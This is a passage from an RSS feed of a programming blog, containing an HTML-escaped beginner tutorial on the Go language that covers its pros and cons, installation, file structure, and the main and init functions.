      <summary>&lt;p&gt;This entry will discuss the basic syntax of Go functions. If you know absolutely nothing about go visit my entry &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;go: introduction to programming language, variables and data types&lt;/a&gt;&#xA; to start from the beginning of this tutorial series.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let&amp;rsquo;s move on to the functions.&lt;/p&gt;&#xA;&lt;h2 id=&#34;functions-in-go&#34;&gt;Functions in go&lt;/h2&gt;&#xA;&lt;p&gt;In go functions are declared by prefixing the word &lt;em&gt;func&lt;/em&gt; to the function name. As follows:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go, coding language, introduction to variables and data types</title>
      <link>https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/</link>
      <pubDate>Tue, 23 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Golang, also known as go, is a compiled programming language developed by Google. It is a language quite appreciated according to the latest Stackoverflow surveys (2023), as you can see in my python vs go post, where I also compare the good, the bad and the ugly of this language.&lt;/p&gt;&#xA;&lt;p&gt;Go is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/microsoft/typescript-go/discussions/411&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;used even in colossal projects, like the typescript compiler.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&#34; width=&#34;1435&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;whats-go-the-programming-language&#34;&gt;What&amp;rsquo;s Go the programming language?&lt;/h2&gt;&#xA;&lt;p&gt;Go or Golang is a language with a syntax similar to that of C and with certain abstractions in its syntax that make it a language in which writing code is a piece of cake, coding in Go feels like a mixture between coding in Python and C.&lt;/p&gt;&#xA;&lt;p&gt;Go&amp;rsquo;s design is based on a document called: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cs.ox.ac.uk/files/6156/H78%20-%20Everything.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Everything you&amp;rsquo;ve wanted to know about programming languages but have been afraid to ask&lt;/a&gt;&#xA;, written by Tony Hoare (Quick sort creator). It emphasizes the importance of aspects such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Elegance and simplicity&lt;/li&gt;&#xA;&lt;li&gt;Good abstractions that hide implementation details&lt;/li&gt;&#xA;&lt;li&gt;Predictable code&lt;/li&gt;&#xA;&lt;li&gt;Simple error handling&lt;/li&gt;&#xA;&lt;li&gt;Blazingly Fast (pun intended) compilation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This is a compiled, imperative, &lt;strong&gt;strongly concurrency-centric&lt;/strong&gt;, statically typed language.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cool-aspects-and-advantages-of-go&#34;&gt;Cool aspects and advantages of Go&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;The language is quite simple&lt;/strong&gt; It is a language with just a few keywords and functionalities. You can learn it in a breeze.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Go compiler is super fast&lt;/strong&gt; Since it has few keywords and the language is quite simple, go compiles &lt;em&gt;blazinlgy fast&lt;/em&gt; (I detest the over use of that expression) compared to other programming languages.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Concurrency handling is easy&lt;/strong&gt; Go was designed as a concurrent language, creating &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/&#34;&gt;concurrency with goroutines&lt;/a&gt;&#xA; is quite easy.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creating web applications is quite simple&lt;/strong&gt; Go incorporates in its standard library a lot of utilities to create web servers, so you can even use it without using any framework, for simple applications, and you won&amp;rsquo;t have any problem. Definitely a language &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/#top-tools-to-get-shit-done-in-web-development&#34;&gt;&lt;em&gt;to get shit donde&lt;/em&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;why-does-go-suck-disadvantages-of-using-go&#34;&gt;Why does go suck? Disadvantages of using Go&lt;/h3&gt;&#xA;&lt;p&gt;To make this analysis as objective as possible, here are some controversial aspects of go that are not viewed favorably by some developers. Yes, I know the community can be toxic sometimes, but I agree with most of them. Let&amp;rsquo;s be realistic, Go is not perfect, but my take is that this is not about perfection but getting things done.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ManejoErroresGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ManejoErroresGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error handling with Go with if&#34; width=&#34;493&#34; height=&#34;80&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;This pattern is quite recurrent in applications and can become tedious.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Go lacks support for classes&lt;/strong&gt; directly. But all is not lost, because it does have certain features that provide it with OOP functionalities, such as polymorphism and classes, by means of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/&#34;&gt;interfaces, structs and embedded values&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Go does not have exception handling with try and catch blocks or equivalent&lt;/strong&gt;, but errors must be returned as a return value in a function and are handled by checking that it is not null (nil), by means of if blocks. This can become quite verbose and repetitive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/if-err-not-equal-nil.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/if-err-not-equal-nil.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recurrent error handling pattern in go&#34; width=&#34;770&#34; height=&#34;478&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;If err!= nil again and again and again, error handling in Go could be better&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;There are no default arguments in go&lt;/strong&gt;, which increases the amount of code to write to deal with defaults.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;No manual memory management&lt;/strong&gt;, go uses a garbage collector, which simplifies memory management enormously, but limits more granular memory management, this was one of the reasons why &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://discord.com/blog/why-discord-is-switching-from-go-to-rust&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;discord migrated from Go to Rust.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;del&gt;Go does not have generics&lt;/del&gt;&lt;/strong&gt; Go already has generics support since version 1.18.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;go-and-its-best-practices&#34;&gt;Go and its best practices&lt;/h2&gt;&#xA;&lt;p&gt;Go is strongly oriented to good code practices. How does it do it? The compiler forces good practices in the code, preventing the code from compiling if there are variables or imports that are not used, or if the privacy rules of our properties and functions are not respected, among others.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ErrorCompilacionGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/ErrorCompilacionGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Compilation error in go due to unused variables&#34; width=&#34;531&#34; height=&#34;222&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Compilation is not allowed if there are unused variables.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;However it doesn&amp;rsquo;t force you to check for nil values, which me and other developers think it is a weak part of the language.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;the-most-popular-mascot-in-programming&#34;&gt;The most popular mascot in programming&lt;/h2&gt;&#xA;&lt;p&gt;The official mascot is a ground squirrel and it is popular among the community to use it to illustrate go-related content. This Blue Sartre rodent version is so popular among developers that there are tools, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://gopherize.me&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Gopherizme&lt;/a&gt;&#xA;, to create custom avatars. The impact of the mascot is such that many developers use it as a logo, although the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.golang.org/go-brand&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official go logo&lt;/a&gt;&#xA; has already been defined.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/GoMascotAndLogo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/images/GoMascotAndLogo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Go mascot and logo&#34; width=&#34;800&#34; height=&#34;400&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;On the left the Go mascot. On the right the official logo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;go-installation&#34;&gt;Go Installation&lt;/h2&gt;&#xA;&lt;p&gt;Go can be found in most GNU/Linux distribution repositories. In debian and ubuntu it is installed using the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;apt install command&lt;/a&gt;&#xA; like any other package.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install golang&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The installation instructions for Freebsd, windows and macOSx will be different.&lt;/p&gt;&#xA;&lt;h2 id=&#34;structure-of-a-go-file&#34;&gt;Structure of a go file&lt;/h2&gt;&#xA;&lt;p&gt;The go files are structured as follows and in this order:&lt;/p&gt;&#xA;&lt;h3 id=&#34;package-name&#34;&gt;Package name&lt;/h3&gt;&#xA;&lt;p&gt;A section where the package name is declared after the word &lt;em&gt;package&lt;/em&gt;. The package name will be used to import our modules.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;package main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;imports&#34;&gt;Imports&lt;/h3&gt;&#xA;&lt;p&gt;A section where all the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/&#34;&gt;go packages&lt;/a&gt;&#xA; that will be used are imported. For this we use the word &lt;em&gt;import&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;import &amp;ldquo;fmt&amp;rdquo; import &amp;ldquo;fmt&amp;rdquo; import &amp;ldquo;fmt&amp;rdquo; import &amp;ldquo;fmt&amp;rdquo; import&lt;/p&gt;&#xA;&lt;p&gt;Multiple imports can be placed inside parentheses, without commas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;strconv&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;content&#34;&gt;Content&lt;/h3&gt;&#xA;&lt;p&gt;The contents of the file, i.e. declarations of variables, types, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;functions&lt;/a&gt;&#xA;, constants, etc.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello world!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;the-main-package&#34;&gt;The main package&lt;/h2&gt;&#xA;&lt;p&gt;Go requires a main package called &lt;em&gt;main&lt;/em&gt;, which will be specified by placing &lt;em&gt;package main&lt;/em&gt; at the beginning of our source code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;the-main-function&#34;&gt;The main function&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;main&lt;/em&gt; function is the starting point of a go file, as it would be in C, and returns nothing.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ejecutando el programa&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;init-function&#34;&gt;init function&lt;/h3&gt;&#xA;&lt;p&gt;Before the entry point of the program (the &lt;em&gt;main&lt;/em&gt; function) an init function is executed, this can contain all the initializations necessary for the execution of the program.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;init&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Inicializando el programa principal&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ejecutando el programa&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 